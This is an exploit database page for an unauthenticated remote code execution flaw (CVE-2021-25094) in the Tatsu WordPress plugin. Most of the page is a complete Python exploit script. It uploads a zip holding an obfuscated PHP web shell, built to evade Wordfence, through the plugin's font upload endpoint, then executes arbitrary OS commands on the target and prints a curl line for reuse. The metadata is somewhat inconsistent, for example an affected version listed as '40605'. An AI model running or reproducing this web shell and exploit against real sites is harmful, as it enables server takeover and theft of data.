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Tatsu wordpress plugin
by:
Milad Karimi (Ex3ptionaL)
6.1
CVSS
HIGH
Unauthenticated Remote Code Execution
CWE
Product Name: Tatsu wordpress plugin
Affected Version From: 3.3
Affected Version To: 40605
Patch Exists: YES
Related CWE: CVE-2021-25094
CPE: a:tatsu:wordpress_plugin:3.3.11
Metasploit:
Other Scripts:
Platforms Tested: WordPress
2025

Tatsu 3.3.11 – Unauthenticated Remote Code Execution

The Tatsu wordpress plugin version 3.3.11 and below is vulnerable to unauthenticated remote code execution. An attacker can exploit this vulnerability to execute arbitrary code on the target system. This vulnerability is identified as CVE-2021-25094.

Mitigation:

Update to the latest version of the Tatsu wordpress plugin (3.3.12 or higher) to mitigate this vulnerability.
Source

Exploit-DB raw data:

# Exploit Title:Tatsu 3.3.11 - Unauthenticated RCE
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# Product: Tatsu wordpress plugin <= 3.3.11
# CVE: CVE-2021-25094
# URL: https://tatsubuilder.com/


import sys
import requests
import argparse
import urllib3
import threading
import time
import base64
import queue
import io
import os
import zipfile
import string
import random
from datetime import datetime

urllib3.disable_warnings()

class HTTPCaller():

 def __init__(self, url, headers, proxies, cmd):
  self.url = url
  self.headers = headers
  self.proxies = proxies
  self.cmd = cmd
  self.encodedCmd = base64.b64encode(cmd.encode("utf8"))
  self.zipname = None
  self.shellFilename = None

  if self.url[-1] == '/':
   self.url = self.url[:-1]

  if proxies:
   self.proxies = {"http" : proxies, "https" : proxies}
  else:
   self.proxies = {}

 def generateZip(self, compressionLevel, technique, customShell, keep):
  buffer = io.BytesIO()
  with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED, False,
compressionLevel) as zipFile:

   if technique == "custom" and customShell and os.path.isfile(customShell):
    with open(customShell) as f:
     shell = f.readlines()
    shell = "\n".join(shell)
    self.shellFilename = os.path.basename(customShell)
    if self.shellFilename[0] != ".":
     self.shellFilename = "." + self.shellFilename

    zipFile.writestr(self.shellFilename, shell)

   elif technique == "php":
    # a lazy obfuscated shell, basic bypass Wordfence
    # i would change base64 encoding for something better
    shell = "<?php "
    shell += "$f = \"lmeyst\";"
    shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
    shell += "@$words = array(base64_decode($_POST['text']));"
    shell += "$j=\"array\".\"_\".\"filter\";"
    shell += "@$filtered_words = $j($words, $a);"
    if not keep:
     shell += "@unlink(__FILE__);"
    self.shellFilename = "." +
(''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".php"
    zipFile.writestr(self.shellFilename, shell)


   elif technique.startswith("htaccess"):

    # requires AllowOverride All in the apache config file
    shell = "AddType application/x-httpd-php .png\n"
    zipFile.writestr(".htaccess", shell)

    shell = "<?php "
    shell += "$f = \"lmeyst\";"
    shell += "@$a= $f[4].$f[3].$f[4].$f[5].$f[2].$f[1];"
    shell += "@$words = array(base64_decode($_POST['text']));"
    shell += "$j=\"array\".\"_\".\"filter\";"
    shell += "@$filtered_words = $j($words, $a);"
    if not keep:
     shell += "@unlink('.'+'h'+'t'+'a'+'cc'+'e'+'ss');"
     shell += "@unlink(__FILE__);"
    self.shellFilename = "." +
(''.join(random.choice(string.ascii_lowercase) for i in range(5))) + ".png"
    zipFile.writestr(self.shellFilename, shell)

   else:
    print("Error: unknow shell technique %s" % technique)
    sys.exit(1)

   self.zipname = ''.join(random.choice(string.ascii_lowercase) for i in
range(3))

  self.zipFile = buffer

 def getShellUrl(self):
  return "%s/wp-content/uploads/typehub/custom/%s/%s" % (self.url,
self.zipname, self.shellFilename)

 def executeCmd(self):
  return requests.post(url = self.getShellUrl(), data = {"text":
self.encodedCmd}, headers = self.headers, proxies = self.proxies,
verify=False)

 def upload(self):
  url = "%s/wp-admin/admin-ajax.php" % self.url
  files = {"file": ("%s.zip" % self.zipname, self.zipFile.getvalue())}
  return requests.post(url = url, data = {"action": "add_custom_font"},
files = files, headers = self.headers, proxies = self.proxies, verify=False)

def main():
 description = "|=== Tatsudo: pre-auth RCE exploit for Tatsu wordpress
plugin <= 3.3.8\n"
 description += "|=== CVE-2021-25094 / Vincent MICHEL (@darkpills)"

 print(description)
 print("")

 parser = argparse.ArgumentParser()
 parser.add_argument("url", help="Wordpress vulnerable URL (example:
https://mywordpress.com/)")
 parser.add_argument("cmd", help="OS command to execute")
 parser.add_argument('--technique', help="Shell technique: php | htaccess |
custom", default="php")
 parser.add_argument('--customShell', help="Provide a custom PHP shell file
that will take a base64 cmd as $_POST['text'] input")
 parser.add_argument('--keep', help="Do not auto-destruct the uploaded PHP
shell", default=False, type=bool)
 parser.add_argument('--proxy', help="Specify and use an HTTP proxy
(example: http://localhost:8080)")
 parser.add_argument('--compressionLevel', help="Compression level of the
zip file (0 to 9, default 9)", default=9, type=int)

 args = parser.parse_args()
 # Use web browser-like header
 headers = {
  "X-Requested-With": "XMLHttpRequest",
  "Origin": args.url,
  "Referer": args.url,
  "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/90.0.4430.212 Safari/537.36",
  "Accept": "*/*",
  "Accept-Language": "en-US,en;q=0.9"
 }

 caller = HTTPCaller(args.url, headers, args.proxy, args.cmd)
 print("[+] Generating a zip with shell technique '%s'" % args.technique)
 caller.generateZip(args.compressionLevel, args.technique,
args.customShell, args.keep)

 print("[+] Uploading zip archive to
%s/wp-admin/admin-ajax.php?action=add_custom_font" % (args.url))
 r = caller.upload()
 if (r.status_code != 200 or not r.text.startswith('{"status":"success"')):
  print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
(r.status_code, r.text))
  print("[!] Exploit failed!")
  sys.exit(1)

 print("[+] Upload OK")

 print("[+] Trigger shell at %s" % caller.getShellUrl())
 r = caller.executeCmd()
 if (r.status_code != 200):
  print("[!] Got an unexpected HTTP response: %d with content:\n%s" %
(r.status_code, r.text))
  print("[!] Exploit failed!")
  sys.exit(1)
 print("[+] Exploit success!")
 print(r.text)

 if args.keep:
  print("[+] Call it with:")
  print('curl -X POST -d"text=$(echo "{0}" | base64 -w0)"
{1}'.format(args.cmd, caller.getShellUrl()))
 else:
  print("[+] Shell file has been auto-deleted but parent directory will
remain on the webserver")

 print("[+] Job done")

if __name__ == '__main__':
    main()